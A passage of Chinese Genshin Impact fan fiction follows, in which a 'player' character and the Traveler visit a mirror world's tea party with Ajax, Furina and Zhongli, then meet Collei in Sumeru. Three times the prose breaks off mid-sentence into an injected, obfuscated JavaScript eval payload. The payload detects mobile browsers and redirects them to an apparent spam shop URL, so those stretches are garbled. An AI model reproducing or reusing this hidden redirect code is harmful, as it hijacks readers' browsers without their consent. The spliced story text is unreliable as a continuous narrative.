芙宁娜笑眯眯表示,真高兴旅行者对玩家的信任,已经到旅行者可以独自陪同玩家深入深渊的地步了。 “你不怕你走了之后我和那维莱特祸害枫丹?”芙宁娜矜持地将左腿叠放在右腿上,摆出经典的傲慢坐姿,“我可是能把你和深渊融为一体的大恶人!” “哎,这种台词派蒙都已经免疫了,芙宁娜你要当反派的话不能天天请我吃蛋糕的,现在我看到你的脸别说害怕了,不流口水就好啦!”【派蒙】语重心长,说这话的时候她还抱着芙宁娜的小餐盘,嘴边沾着奶油嚼嚼嚼。 “爱可菲给我做了太多新品,我一个人吃不完很浪费嘛……不要打断我!”芙宁娜把【派蒙】挤在怀里,“不信就算啦。回来的时候别太惊讶——当然不是说派蒙的账单!” 芙宁娜气鼓鼓地说她和【派蒙】可是好朋友,她才不会收派蒙的住宿费和餐饮费,旅行者都没有收玩家的房租呢! “你不能收我的房租。”玩家则在这时候跟旅行者强调,“你在飞船上跟我承诺我可以白剽。” “那跟你承诺的不是我本人。”旅行者也在强调,玩家记忆里的睡美人是哥哥在深渊里捏出的她。 “那你要收钱吗?”玩家谨慎询问,“我身上留不住摩拉,如果你要收钱的话,我让阿贾克斯付给你。” “阿贾克斯?那是达达利亚吧?”旅行者一边走入深渊淤口一边吐槽,“你怎么和钟离一样……” 视野暗亮。 旅行者看到至冬奢华宫殿的天花板,看到近距离放大版的熟人脸。 她一瞬间失去了所有声音。 室内光线昏暗,半掩的窗户逃进几缕晦涩月光,因而能粗略描绘不远处熟悉青年的轮廓,他坐在床边,身形和那暗色的长袍一同融入夜色,以至于暖色调的橘发愈发晃眼。 在这种视线不受控制被聚焦的情况下,再一晃眼对上那双如冰冷琉璃的蓝眼,很难不会冷不丁吓一大跳。 但是旅行者回过神来,发现了比阿贾克斯的出场更让她难以言喻的事实。 “原来我是身穿。”玩家从床上坐起来,摊开手打量自己与意识同频的身体。 “什么?当然不是,伙伴,你是身体和灵魂一起过去的,只是我把你回来的锚点定在这座寝宫而已。”阿贾克斯笑起来,无高光的眼睛也在他生动的表情衬托下显得有几分人味,“你忽然出现在床上,我也吓了一大跳呢。” “这样吗,不好意思。”玩家把手重新放下,“感谢,落地点是柔软的床,这省去我每次穿越时空都要找平衡的麻烦,你考虑得真周到。” “不客气,伙伴。”阿贾克斯坦然接受玩家对他这份贴心的夸赞。 旅行者发现她真看不下去。 “这不对。”她掐着眉心,如今是她的身体托管在【丝柯克】镇守的异度空间,灵魂追随玩家深入漆黑的深渊古国,她与玩家共享视野,更能觉察刚才的情形有多么不对。 她忍了忍还是没忍住在正事之前吐槽:“你真的不问问他为什么半夜没事干坐在你的床前盯着你的传送点看吗?而且他出于什么心态把你回家的锚点定在至冬的床上啊?” 玩家诧异。 他不太能理解自己刚才都解释过了旅行者为何还是满心疑虑。 但想了想,又想通自己刚才可能只解答了旅行者其中之一的问题。 “锚点在床上是因为这样舒服。”玩家回答,“他坐在这里是因为我和他关系好。抱歉,我之前忘说了。” “不,你忘记跟我说的明显不止这一件事——” “伙伴,你带了客人回来?”阿贾克斯从原地起身,往前走几步直接在床的侧边坐了下来,“怎么不介绍一下?” 旅行者几乎是本能地就从原地站起来,往后退了几步。 可惜她不能操作玩家的身体做出这样的举动,只能满心复杂看着坐在原地不动的玩家跟阿贾克斯解释近况。 “原来是旅行者,桑多涅已经提前跟我说过了,我还以为她会和你一起出现,没想到‘一起出现’是这个‘一起出现’。”阿贾克斯忍俊不禁,他透过玩家的眼睛看旅行者,友好地与旅行者打招呼。 旅行者继续战略性后退。 玩家对旅行者如沸水般的情绪波动和一声不吭的心理沉默表示困惑。 “桑多涅跟你提前说过了?”玩家跟阿贾克斯讨论这个话题,“是芙宁娜中途回来过,交代她一些事情?” “是的,因为当时我们正好在开茶会,所以忽然发生参会成员换人事件,真是美妙——喔,我是指,我们能很快处理好这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175903|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种突发情况,你懂的伙伴。” “这样啊。”玩家点头,“我也觉得芙宁娜不会在这种大事上欺骗我,说是互换,就是互换,不存在演戏的成分。” 当然,按照玩家和旅行者调查出的真相来说,准确来说这不能说是一种互换,是记忆覆盖,等到时机到了,受到记忆影响的同位体都能变回原本的样子,至于他们能保留多少记忆,那就是他们之后需要讨论的问题。 旅行者则是说,她知道现在处理正事要紧,但了解这个世界的基本情况也是她处理正事的重要一环,所以玩家能不能告诉他,为什么达达利亚能名正言顺出现在芙宁娜的茶会上? “这不奇怪。”玩家表示理解,“芙宁娜和桑多涅、佩露薇利一起开茶会,才是最奇怪的。既然这件事你也已经接受了,就不要在意阿贾克斯也在茶会上。” 在旅行者所在的世界,【达达利亚】都会被愚人众第一席【队长】带去和【桑多涅】【阿蕾奇诺】一起开茶会呢! “你说得对……”旅行者觉得现在的她被派蒙上身了,很想要噼里啪啦说点什么,可又心累得说不出什么。 玩家表示理解,所以他让阿贾克斯带自己去看望如今生活在深渊古国的【芙宁娜】,对方的状态很不错,尤其是在【那维莱特】和【阿蕾奇诺】的衬托下。 “好耶!骰子鉴定通过——”【芙宁娜】握拳,“厄歌莉娅留下了我!真不容易,无论是作为人类和纯水精灵一起生活还是作为异邦归客成为万水之主的眷属……不好意思,我太激动了。” 【芙宁娜】握着骰子红着脸坐下来,钟离摇头表示没有人会为此怪罪全身心投入的她,退休的岩之神泰然地坐在主持人的位置,继续引导桌上剧团的剧情发展。 “人们歌颂大慈树王的智慧,花神与赤王携礼物与三个谜题,造访智慧之神的丛林……” 坐在【芙宁娜】身边的小草神紧张地在胸前紧握双手,郑重其事地代入大慈树王的视角去思考如何解答那三个谜题。 她身边的【那维莱特】捏着草龙阿佩普的身份牌表情肃穆,一想到这个身份的主人未来会生活在无边无际的缺水沙漠中,二代水龙王浑身的气压就越来越低,他盯着钟离手上的剧本,在维持和平的前提下非常好地演出了一种极端怨气。 不远处的罗莎琳转着羽毛笔饶有兴致,库塔尔托着腮帮子看得津津有味,坐在她们两个之中的【阿蕾奇诺】和她们一样是旁观者,却像个人形立牌一样端着茶杯僵硬在位置上,行动迟缓。 毫无疑问和玩家一起进入这个场合的旅行者被眼前的一幕镇住了。 “我对深渊的可怕程度有了更深的认知。”旅行者在努力平缓呼吸,“你们经常这样坐一起玩游戏吗?” “不,这是茶会的新项目,之前我没有玩过这个。”玩家诚实摇头,“但芙宁娜玩得很开心,你可以放心了。” 旅行者表示她现在看到的画面让她没有一星半点能放心的。 “嗯,你看出来了啊。”玩家挠了挠脸颊,“按照我们这里的发展,其实是芙宁娜引诱纯水精灵变成人类,她知道真相会和我认识的芙宁娜一样哭得歇斯底里,我尽量让她开心一段时间再哭……” “……我知道我不能放心,”旅行者深吸一口气,“但原来我在这种事上也没办法放心。”她真是没招了! 27.027 玩家对旅行者的应激状态表示理解。 他如果在刚穿越的时候,发现自己来到这样一个熟悉又陌生的提瓦特,会比旅行者还要失态。 好在世界给足玩家适应时间,最初玩家还会大惊小怪,现在却能够成为稀释紧张气氛的工具人。 就像现在,【荧】在玩家的互动下直接吐槽,能把心里的憋闷都释放出来。虽然玩家可能被误会有点一根筋,但玩家可以允许自己付出这样的小牺牲。 他跟着阿贾克斯从二楼下来。 此刻是清晨,纵然地处北国,但温室花园气候适宜,茶与花的香气四溢,新的访客也终于引起聚会成员的注意。 玩家走在阿贾克斯的身后,所以首先被注意到的自然是前面很大一团的橘子。 玩家看到最不专心的【阿蕾奇诺】在对上阿贾克斯视线的时候,那张面无表情的脸显出一言难尽的复杂情绪。 第四席的表情控制能力其实很好,旅行者主要是从她目光停留的时间分析出她内心的动摇,玩家自然是从旅行者的释义中再次了解到【阿蕾奇诺】在这个世界待到现在,都没能习惯阿贾克斯的身份。 一觉睡醒最年轻的同事成了至冬活化石,成了交际圈广纳神与龙的顶头上司,任谁都很难习惯,更何况阿贾克斯如今的模样,和玩家印象里的达达利亚没什么大差别,和【阿蕾奇诺】印象里的【达达利亚】应当也没什么差别。 这种熟悉感极大增强身份错位带给知情人的荒谬感。 阿贾克斯很爽朗地和在场的熟人们打着招呼,玩家从他身后探出头来,和【芙宁娜】和【阿蕾奇诺】问好,并认真转述旅行者的问候。 “嘶——原来旅行者的哥哥长这样,难怪你当时要戴着面具,不然我一眼就认出来了。”【芙宁娜】碎碎念着要是她当时看到玩家的脸就不会上当付钱。 玩家表示这不是脸的问题,【芙宁娜】应该去梅洛彼得堡多参加防诈听讲。 “那我也是在帮枫丹排除隐患!”【芙宁娜】据理力争,“一百摩拉就可以调查可疑人士!钟离,你说这笔交易是不是很划算?” “芙宁娜女士很有经济头脑。”钟离理所当然表示支持,间接证明当时【芙宁娜】可能早就看出玩家的可疑,是将计就计,不小心失手了也不是【芙宁娜】的问题。好歹她争取到一百摩拉的问价时间,中途还回去过一次。 没付一百摩拉就直达深渊并且一直没能回去的【那维莱特】膝盖中了一箭。 根本没有一百摩拉环节只是睡了一觉就莫名其妙被深渊包围的【阿蕾奇诺】战术性喝茶。 “哈哈哈,真有趣,伙伴也很有想法嘛,或许我之后也可以拿着一百摩拉打架不还手的牌子到那个提瓦特到处走走,这样子强敌就能自动送上门来。”阿贾克斯非常欣赏玩家的头脑,对此跃跃欲试。 “如果你能和我一起去那个提瓦特的话,”玩家说道,“我可以变身成写着一百摩拉打架不还手的牌子帮你招揽客户,省去你找牌子刻字的工夫。” “伙伴!”阿贾克斯感动,“你真是太贴心了!就冲你这句话,我也一定要去那个提瓦特支这个摊子!” “……” “你似乎有话要说?”玩家询问旅行者,他有注意到她尝试开口又默默把嘴闭上。 “嗯。”旅行者没有否认,“我忽然很想念派蒙。”她冷静地说这时候她急需一个搭子跟她讨论眼前一幕的离谱程度。 “——不要在这时候唱兰那罗的摇篮曲!”桑多涅本来还在忍耐,但身边库塔尔轻柔的伴奏响起来的时候,她是真的有那么一瞬间失去对拳头的控制权。 “我也想去支摊子。”库塔尔的身体随桑多涅摇晃她衣领的动作而自然左右摇摆,她的声音兴致勃勃,“一百摩拉给我,牌子给赞迪克!我可以上很久班!” 桑多涅的动作一顿,下一秒她把库塔尔捋直了坐好,双手搭在她的肩膀上,表情又恢复了淑女的矜持与优雅:“如果是由他来举牌子,那这个项目我投了,我相信你们的竞争力绝对优于对面那满脑子肌肉的武夫。” “桑多涅,我听得见。”阿贾克斯把脸转过来,“你不能让库塔尔把她的歌曲唱完吗?” “没有给你伴奏的义务!”桑多涅冷笑一声,不客气地直视阿贾克斯的眼睛,“干什么这么不客气,要和我比谁的摊子更挣钱吗?” “这有什么好比的。”阿贾克斯摇头拒绝,“谁会想着靠花钱挨揍成为富商?桑多涅,我不缺钱,但如果你对我很生气,你可以花一百摩拉和我打一架,我也不介意给你打折……五十摩拉怎么样?” 阿贾克斯伸出一只手。 桑多涅伸出一只炮筒。 库塔尔开始哼战斗小曲。 安静祥和的花园在极短的时间内演化出人仰马翻,好不热闹。 【阿蕾奇诺】在一脸“我是谁我在哪里我在干什么”的空白表情中尽职尽责地拦截桑多涅,【那维莱特】眼疾手快拉着【芙宁娜】退出战场,却莫名其妙被阿贾克斯卷进了战场,库塔尔趁乱扯了他的龙角,要不是纳西妲及时打开梦境领域,很难说今天的战损清单上会多出多少个零。 “大家都太活泼了。”纳西妲声音苦恼,“好不容易有坐下来一起玩桌上剧团的机会呢,为什么会因为一百摩拉和五十摩拉的事情吵起来。” “是这个达达利亚比我认识的那个更能挑起强者的战意。”叹为观止的旅行者用最委婉的说辞评价。 “你在那里不需要养成赚钱的习惯,如果有任何花销,记在我的账上。”钟离一边撑着观众席的护盾,一边对站在战场边缘摸能量吃的玩家进行语重心长的叮嘱,“听着——你是睡着后无意识进食,不需要为我展示你吃进去的摩拉。” 玩家把舌头缩回去,把嘴闭上。 “我本来还在想我收来的摩拉怎么不见了,原来是梦游时吃掉了。”玩家真诚地对旅行者坦白自己的罪行,“别怪阿贾克斯他们,其实一摩拉也能吵起来,幸好钟离脾气很好。” “……嗯。”旅行者语气平静,像是彻底没招的无所畏惧,“你再站远点吧,别被逮到。”她说如今这个战场承受不住又一个新成员的加入。 “切磋一般都不会带上我的。”玩家表示他心中有数,请相信他猎食的分寸。 “我是怕阿贾克斯把钟离也拉进战场。”旅行者拒绝回忆不久前玩家准备把摩拉吐到钟离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186485|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手心的画面,“被你吃进去的食物能原封不动取出来?” “摩拉是神祇血肉,比较特殊。”玩家交代只有特殊的能量聚合才不会被他的身体分解消化,在这些特殊的能量聚合中固化成货币的摩拉又是最特殊的,“像空和你之前投喂给我的食物,我就没办法完整保存下来。” 玩家思索:“我会尝试把食物保存在体内,方便你随时打开我的身体取用。” 旅行者克制地表示她有随身背包,不需要玩家做出这种奇怪的牺牲。 玩家欣然接受。其实他对于自己成为活体冰箱这件事也很抗拒。旅行者不喜欢真是太好了。 玩家帮忙打扫了战场。 玩家欣慰【那维莱特】和【阿蕾奇诺】的状态因战斗发泄而有所改善。 其实依据聚在这里的伙伴们的战力而言,他们能固定在一个场景战斗,战斗完还能留在可以被收拾的战场,那就说明他们没有出全力、没有尽兴。 但舒展舒展筋骨也是好的。 【芙宁娜】则是通过桌上剧团放松。她意外地和钟离相处不错。可能是其他人的身份都摆在明面,钟离还没有把他就是摩拉克斯的真实身份广而告之。 “下一站是须弥。”玩家把阿贾克斯带走的时候,游戏继续,一切如常,就是纳西妲跟在了他们身后。 “嗯……按照最初的规则,你们抵达智慧之国以后,‘我’会是深渊的第一位访客。”纳西妲给出一个记忆匣子,“但很抱歉,我不能报名这次串门的活动。” 纳西妲的情况特殊。 她是世界树的枝桠,她不能让另一个连接着世界本源的自己长时间浸泡在深渊环境中,即使她提前做好预防措施,可那样危险也远高于收益。 所以,告知就好。 纳西妲相信这个记忆匣子里的记忆,足够另一个自己感同身受,另外她还需要委托【纳西妲】帮她一点忙,所以【纳西妲】必须一直好好地留在现实世界。 “我将一些重要的记载存入终端,你们会在遇到特定的目标之后,激活对应的档案。”纳西妲重新调试了玩家连接任务界面的微型主机,踮着脚尖将耳机佩戴到玩家耳上。 “阶段性任务?”玩家翻阅任务介绍,说是须弥的自机角色会按顺序互换,而来自深渊的历史同位体都是需要好好帮扶的问题儿童。 旅行者也在浏览任务界面。互穿机制本来只限定玩家在深渊古国里接触过、互动过的角色,但纳西妲提供这些材料后,玩家碰到自机角色能自动解锁深渊古国中同位体的信息,让除了执行官与神明之外的角色也有互相串门的机会。 这个机制对旅行者有利。她对深渊古国所知甚少,但资料绑定在玩家身上,一碰到目标自动解锁,玩家刚得到,旅行者也能接收到相应情报。 “不能提前点开。”玩家觉得纳西妲真体贴他的脑容量,知道一下子让他吸收太多知识是强人所难的事情。 “是的。”纳西妲让玩家按照他自己的节奏去处理任务就好,“做好了出发的准备,就告诉我,我为你们送行;之后拿到须弥的记忆碎片,也直接给我就好。” 她的双手交叠,声音轻柔:“世界会记住一切。” 28.028 玩家再次完成时空跳跃。 旅行者先他一步和【派蒙】汇合,玩家睁眼看到的首先是【丝柯克】的脸,她们似乎在讨论某个严肃的话题,都托着下颌认真思考。 “有什么我可以帮忙的?” “我在说闲话。”旅行者摆摆手,把准备沉下去的玩家拔起来,“不要那么自觉回避。” “你在说我闲话。”玩家认为这情况下只有他自觉回避才能让她们畅聊。 “你这种做法只会让派蒙有负罪感。”旅行者和【丝柯克】告别,招呼【派蒙】陪她走出作为落地点的洞窟。 “只有派蒙?” “别闹,我和丝柯克可不会反省。有问题的明明是你。”旅行者拽住藤蔓,在突起的石头上站稳,“与人相处要时刻记得保持距离。” 玩家跟随旅行者的视野看到绿意盎然的雨林。一片生机勃勃的景象中,几处掉色的灰白地带额外显眼。 “你看不惯我和阿贾克斯的友好关系?”玩家拧了拧眉,“抱歉,唯有这个我无法改变,也不打算改变。” 旅行者释然得笑了。 “派蒙,我刚才有提到和达达利亚相关的任何一个字吗?” “没有!” 【派蒙】斩钉截铁的回答让玩家回顾他和旅行者之前的对话,在短暂的沉默之后,玩家坐了回去,双手叠放在下巴处,摆出灯光从下方打来的思考者姿态。 这是陷阱。 玩家看到旅行者和【丝柯克】站在一起,本能就会联想阿贾克斯,误以为他们在讨论自己和阿贾克斯,再正常不过。 这就是陷阱。毋庸置疑。 “我承认我阿贾克斯感到心虚。”玩家叹了口气,“现在吃他的用他的住他的还有别人给钱都招不到的陪玩。姐姐,你把话挑得这么明白,一定是想能帮可怜的、寄人篱下的我,缴纳还不起的伙食费和住宿费吧?” “……”【荧】有那么一小段时间又陷入了宇宙奥妙无穷的思维过载。她已经在尽量跟上玩家的思维,但有时候还是对玩家语不惊人死不休的突袭感到无助。 “姐——” “停。”【荧】怕自己脚滑从苔藓上摔下去,她被【派蒙】拉了一把,在【派蒙】困惑询问玩家刚才说了什么的时候,【荧】比划了一个打住的手势。 “别仗着我们关系好起来就得寸进尺。”脑内世界【荧】已经冷静沉着地掐住玩家脑壳,“我刚才在和派蒙丝柯克讨论你的进化方向。” “——嗯?”玩家发出感兴趣的声音。 “提瓦特很多存在都是从非人到人,你正好相反,从人朝着非人演化。”【荧】在这里还补充了一种很微妙的说法,“你是凭可爱到处卖乖讨食的小狗。” 她提着剑走在通向雨林死域的路径上,食指抵住剑身,说话中途又拦腰斩断在附近游荡的魔物。 “嗯……”玩家坦然接受这个比喻,他之前在芙宁娜帽子上安家、在梅洛彼得堡到处啃啃、在钟离面前表演口吐摩拉的黑历史还历历在目,他得承认他担得起“保持距离”这个警告。 玩家还很有自知之明地反问旅行者,现在的自己在她眼中也是小狗吗? “不。”【荧】冷漠道,那种说法是建立在她认为玩家空有强大武力却对周边环境一无所知的基础上,她最近已经在慢慢重构认知,“你像什么你心里有数。” 玩家受伤。 好吧,他知道。 玩家知道答案只可能是那个。 一降生就具备超高武力再加上身边群英荟萃以至于很难有危机意识的龙。 ——无尽食欲是贪婪,一问三不知是懒惰,不听人话是傲慢。很符合故事书里对坏龙的刻板印象。 但这些刻板印象也可以有另外的解读。比如旅行者因为玩家的逾越称谓所以给玩家贴白切黑的标签。玩家这次蹬鼻子上脸还是太快了。 玩家会反省。 但有些话玩家就听听算了。 人到非人的进化方向吗…… “有深渊气息。”玩家忽然开口,正解决完眼前死域的【荧】倏然抬头,迅速地把派蒙护在安全的身后。 从天而降的不速之客是【柯莱】。她是自机角色,原作中须弥的见习巡林员,游戏外还有漫画补充交代她回到须弥前的过去,旅行者熟悉的是身为巡林员的她,而玩家可以说【柯莱】如今的状态更接近漫画前传里的她。 “柯、柯莱?”一个照面,【派蒙】也第一时间意识到不对,她的注意力集中在【柯莱】皮肤上缠绕的绷带,以及脸上鱼鳞状的斑点。 “是旅行者和派蒙啊。”【柯莱】才回过神来,下意识抬手挡住脸,但很快又把手放了下去,模样无措,“抱歉,让你们看到难堪的一面了,既然你们清除了这个死域,那我就先继续巡逻了……” 【柯莱】转身,黑色的火焰在她的草系神之眼上一晃而过,旅行者在她遁入树荫之前伸手拉住了她。 “我们可以一起巡逻。”旅行者笑起来,“能在刚来须弥就遇到你真是太幸运了,我记得之前刚来须弥的时候也是柯莱你帮我们引路的呢。” “对的对的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195439|194078||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【派蒙】也反应过来,飞到【柯莱】的另一边挽起她的胳膊,“柯莱是超级棒的向导!这次也带我们好好逛逛化城郭吧!旅行者可是很强的,她可以和你一起扫清巡林路上的敌人!” 【柯莱】握紧旅行者的手。 “嗯!”【柯莱】重重点头,脸上露出大大的笑容,“跟我一起去巡逻吧!我会给你们讲解须弥发生的一切!” 旅行者在路上抽空介绍了玩家。 玩家礼貌问好之后,借着身份的特殊性,感叹他第一眼见到【柯莱】的时候,还以为【柯莱】已经被替换成了他所处世界的柯莱。 玩家翻看着在看见【柯莱】的第一时间被自动激活的档案。 倒影世界的柯莱,没有如原作一样落到愚人众手中被注射实验药剂,没有颠沛流离经历一系列苦难然后再在须弥重新安家;她在出现魔鳞病这一须弥地区病端倪的时候,就被送入健康之家得到公益治疗。 但魔鳞病的源头在于世界树的污染,倒影世界一直没能解决这个本源问题,所以魔鳞病只能抑制、不能根除,而在不同学派提供的针对性方案里,柯莱选择了最为激进的一种治疗手段。 她掌握了原作中注射非法药剂才能运用的黑蛇之炎,在离开健康之家之后依然经常回去做义工帮忙,她加入巡林队,已经成为独当一面的巡林官,在如今【柯莱】对应的时间线,柯莱正和她的妈妈住在一起。 她选择将黑蛇之炎化为己用来压制魔鳞病,很大程度上也是因为她看到了包括妈妈在内的一众魔鳞病患者的苦难,所以主动请缨尝试这种高风险高回报的治疗方案。 “她是主动承担起了这一切责任。”【柯莱】把手搭在肩上,“我很高兴另一个自己能生活得这么勇敢,虽然我看到自己身上黑蛇之炎这么活跃也吓了一大跳就是了……”她的脸上露出不好意思的笑容。 “所以你们是已经互换过,黑蛇之炎是你们交换记忆的媒介?”玩家询问。 “当我使用黑蛇之炎的时候,我可以唤醒她。”【柯莱】点头,“但是无论是她还是师父都不希望我随意动用这股力量,我和她更多的是隔着封印对话,她会在封印的另一侧用火焰给我留下信息。” “就像是笔友一样吧!”【派蒙】双手合十,但又不免困惑,“但是柯莱你身上的魔鳞病……” “啊。”【柯莱】下意识拉了拉衣袖,脸上露出不好意思的表情,“我和你一样,之前都误会这是她带来的影响……”她抿了抿唇:“但她的到来和须弥重新生病一样,是世界树出现问题带来的异常……”